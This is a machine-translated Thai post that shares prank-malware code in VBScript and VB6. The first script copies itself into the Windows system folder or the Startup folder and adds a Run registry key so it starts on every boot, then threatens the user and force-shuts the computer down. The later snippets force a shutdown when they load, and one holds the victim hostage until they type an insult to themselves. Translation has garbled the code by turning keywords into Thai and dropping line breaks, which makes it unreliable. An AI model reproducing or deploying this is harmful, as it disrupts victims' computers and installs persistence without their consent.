แอปเพล็ตปลอมการปิด VB หนึ่ง:
Dim fs, dirwin, c,Wll, str,strr,rSet fs = CreateObject("Scripting.FileSystemObject") ตั้ง dirwin = fs.GetSpecialFolder(1)Set Wll = WScript.CreateObject("WScript.Shell")Set c = fs .GetFile(WScript.ScriptFullName) str ="HK"&"LM/SOFT"&"WARE/Micr"&"osoft/Win"&"dows/Curren"&"tVersion/R"&"un/wxb"if (fs.FileExists(dirwin&"/wxb) .vbs")) จากนั้นเรียก Show_And_Do("reg")elseif (fs.FileExists("C:/Documents and Settings/All ผู้ใช้/เมนูเริ่ม/โปรแกรม/เริ่มต้น/wxb.vbs")) จากนั้นเรียก Show_And_Do("Startup")else เมื่อเกิดข้อผิดพลาด ดำเนินการต่อ Nextstrr=""Wll.RegWrite str, "C:/WINDOWS/system32/wxb.vbs", "REG_SZ "strr=Wll.Regread (str) ถ้า strr="" thenc.Copy("C:/Documents and Settings/All Users/Start Menu/Programs/Startup/wxb.vbs") elsec.Copy(dirwin&"/wxb.vbs") สิ้นสุดหากสิ้นสุดหากย่อย Show_And_Do(s)dim fr = MsgBox ("คำเตือน: โปรดอย่าสัมผัสคอมพิวเตอร์ของฉัน! " & Chr(13) & Chr(10) & "ยืนยัน -> ฉันจะขออนุญาตก่อนในครั้งหน้า" & Chr(10) & "ยกเลิก -> ฉันไม่สนใจว่าคุณจะชอบมันแค่ไหน!", 4145, "ตัวอย่าง MsgBox")ถ้า r = 1 แล้วถ้า s= "เริ่มต้น" จากนั้นตั้งค่า f = fs.GetFile("C:/Documents and Settings/All Users/Start เมนู/โปรแกรม/เริ่มต้น/wxb.vbs")f.Delete()elseif s="reg" แล้วWll.RegDelete strset f = fs.GetFile(dirwin&"/wxb.vbs")f.Delete()end ถ้า Elsewll.run "Shutdown.exe -s -f -t 0"สิ้นสุดย่อย Ifendข้างต้นมีความซับซ้อนเล็กน้อย ดังนั้นเรามาทำสิ่งที่ง่ายกว่านี้กันดีกว่า
รหัสมีดังนี้:
ตัวเลือก ExplicitConst SM_CLEANBOOT = 67Const EWX_LOGOFF = 0Const EWX_SHUTDOWN = 1Const EWX_REBOOT = 2Const EWX_FORCE = 4Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As LongPrivate Sub Form_Load() โทร ออกจาก WindowsEx (EWX_SHUTDOWN, 0) สิ้นสุดย่อย
เมื่อคุณสามารถใช้วิธีเขียนที่ง่ายกว่านี้
เพียงกรอกรหัสต่อไปนี้:
Private Sub Form_Load()Shell "cmd /c shutdown -s -t 30"Rem ส่วน -t 0 ด้านหลังหมายถึงการปิดระบบใน 0 วินาที หากลบ -t 0 ค่าเริ่มต้นจะเป็นการปิดระบบใน 30 วินาที
วิธีที่สาม:
Private Sub Command1_Click()If Text1 = "I am a pig" จากนั้นShell "cmd.exe /c shutdown -a"MsgBox "Haha ปล่อยคุณไป!", 64, "Prompt"EndEnd IfEnd SubPrivate Sub Form_Load()MsgBox "ฮ่าๆ คุณ หากคุณถูกหลอก โปรดบอกฉันว่าคุณเป็นหมู ไม่เช่นนั้นคอมพิวเตอร์ของคุณจะถูกปิดใน 1 นาที", 48, "Prompt" Shell "cmd.exe /c shutdown -s -t " & 60, vbHideEnd SubPrivate Sub Form_Unload(Cancel As Integer)g = MsgBox("Want to close me???", vbOKCancel + vbQuestion, "Close the window")ถ้า g = vbOK แล้วยกเลิก = 11MsgBox "55555 คุณปิดมันเหรอ วางฉันแล้วเรียกฉันว่าหมู", 64, "พร้อมท์"สิ้นสุด IfIf g = 2 แล้วยกเลิก = 11End IfEnd ย่อย